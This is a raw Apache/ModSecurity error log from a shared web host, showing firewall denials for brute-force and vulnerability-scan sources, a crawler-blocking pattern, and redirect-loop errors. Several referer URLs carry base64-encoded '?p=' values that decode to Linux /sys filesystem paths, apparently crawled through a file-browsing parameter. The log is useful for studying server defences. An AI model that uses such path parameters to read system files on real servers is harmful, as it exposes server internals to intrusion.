https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9tb3VzZTIvZGV2aWNlL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:22:39.944947 2026] [security2:error] [pid 715691:tid 715737] [remote 185.176.8.77:48312] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.8.176.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "piox.cl"] [uri "/wp-login.php"] [unique_id "ai30T7V-dFiaX9AtWiQcrAABChs"] [Sat Jun 13 18:22:40.037629 2026] [access_compat:error] [pid 715691:tid 715744] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:40.038116 2026] [access_compat:error] [pid 715691:tid 715744] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:40.215470 2026] [security2:error] [pid 715691:tid 715739] [remote 17.241.219.14:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 14.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ULV-dFiaX9AtWiQctQABFB0"] [Sat Jun 13 18:22:40.250392 2026] [security2:error] [pid 646876:tid 646993] [remote 17.246.15.117:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30UNyTkdrNlD40tSHOigAAOnI"] [Sat Jun 13 18:22:40.415767 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9kZXZpY2U6MDU= [Sat Jun 13 18:22:40.416041 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9kZXZpY2U6MDU= [Sat Jun 13 18:22:40.735526 2026] [security2:error] [pid 715691:tid 715766] [remote 17.22.237.4:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 4.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ULV-dFiaX9AtWiQcxwABbjc"] [Sat Jun 13 18:22:40.735688 2026] [core:error] [pid 646876:tid 647043] [client 104.238.54.218:11336] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.unifiedlayer.com/ [Sat Jun 13 18:22:40.735718 2026] [core:error] [pid 646876:tid 647043] [client 104.238.54.218:11336] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.unifiedlayer.com/ [Sat Jun 13 18:22:40.880092 2026] [access_compat:error] [pid 715691:tid 715733] [remote 57.141.14.31:21818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:40.880533 2026] [access_compat:error] [pid 715691:tid 715733] [remote 57.141.14.31:21818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:40.934960 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:40.935404 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:41.007388 2026] [security2:error] [pid 646876:tid 647061] [client 114.119.136.199:25179] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "blog.wdc-ministries.org"] [uri "/robots.txt"] [unique_id "ai30UdyTkdrNlD40tSHOlwAAADU"], referer: https://blog.wdc-ministries.org/robots.txt [Sat Jun 13 18:22:41.349565 2026] [security2:error] [pid 715691:tid 715754] [remote 17.241.227.166:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 166.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30UbV-dFiaX9AtWiQc5QABUSw"] [Sat Jun 13 18:22:41.452964 2026] [access_compat:error] [pid 646876:tid 646966] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:22:41.453435 2026] [access_compat:error] [pid 646876:tid 646966] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:22:41.516990 2026] [access_compat:error] [pid 646876:tid 647006] [remote 57.141.14.80:36497] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:41.517382 2026] [access_compat:error] [pid 646876:tid 647006] [remote 57.141.14.80:36497] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:41.569435 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.6:22916] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:41.569712 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.6:22916] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:41.751045 2026] [access_compat:error] [pid 715691:tid 715832] [remote 57.141.14.38:28007] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:41.751479 2026] [access_compat:error] [pid 715691:tid 715832] [remote 57.141.14.38:28007] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:41.823536 2026] [security2:error] [pid 715691:tid 715715] [remote 17.22.245.251:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 251.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30UbV-dFiaX9AtWiQc_AABaAU"] [Sat Jun 13 18:22:42.011285 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDUvaWQ= [Sat Jun 13 18:22:42.016121 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDUvaWQ= [Sat Jun 13 18:22:42.040409 2026] [security2:error] [pid 715691:tid 715958] [client 43.173.173.128:53192] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.173.173.43.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.camera-roll.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30UrV-dFiaX9AtWiQdBwAAAX8"], referer: https://www.camera-roll.com/not-by-chance-review/ [Sat Jun 13 18:22:42.134297 2026] [access_compat:error] [pid 715691:tid 715812] [remote 57.141.14.107:43347] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:42.134777 2026] [access_compat:error] [pid 715691:tid 715812] [remote 57.141.14.107:43347] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:42.254626 2026] [security2:error] [pid 646876:tid 646978] [remote 17.22.253.125:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 125.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30UtyTkdrNlD40tSHOowAAHmM"] [Sat Jun 13 18:22:42.272551 2026] [core:error] [pid 646876:tid 647049] [client 104.239.46.138:62346] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://50-87-31-154.unifiedlayer.com/ [Sat Jun 13 18:22:42.272579 2026] [core:error] [pid 646876:tid 647049] [client 104.239.46.138:62346] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://50-87-31-154.unifiedlayer.com/ [Sat Jun 13 18:22:42.287857 2026] [security2:error] [pid 715691:tid 715803] [remote 185.176.8.77:48312] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.8.176.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "piox.cl"] [uri "/wp-login.php"] [unique_id "ai30UrV-dFiaX9AtWiQdFAABJVw"], referer: https://piox.cl/wp-login.php [Sat Jun 13 18:22:42.472548 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:22:42.472836 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:22:42.595285 2026] [access_compat:error] [pid 646876:tid 646891] [remote 57.141.14.22:49894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:42.595599 2026] [access_compat:error] [pid 646876:tid 646891] [remote 57.141.14.22:49894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:42.807581 2026] [access_compat:error] [pid 715691:tid 715751] [remote 57.141.14.78:46898] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:42.808041 2026] [access_compat:error] [pid 715691:tid 715751] [remote 57.141.14.78:46898] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:42.888162 2026] [security2:error] [pid 715691:tid 715724] [remote 17.241.227.104:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 104.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30UrV-dFiaX9AtWiQdKAABLA4"] [Sat Jun 13 18:22:43.026516 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL2lk [Sat Jun 13 18:22:43.026977 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL2lk [Sat Jun 13 18:22:43.132460 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.39:38152] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:43.132940 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.39:38152] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:43.395666 2026] [security2:error] [pid 715691:tid 715808] [remote 17.241.219.120:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 120.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30U7V-dFiaX9AtWiQdPAABPWE"] [Sat Jun 13 18:22:43.515390 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:22:43.515699 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 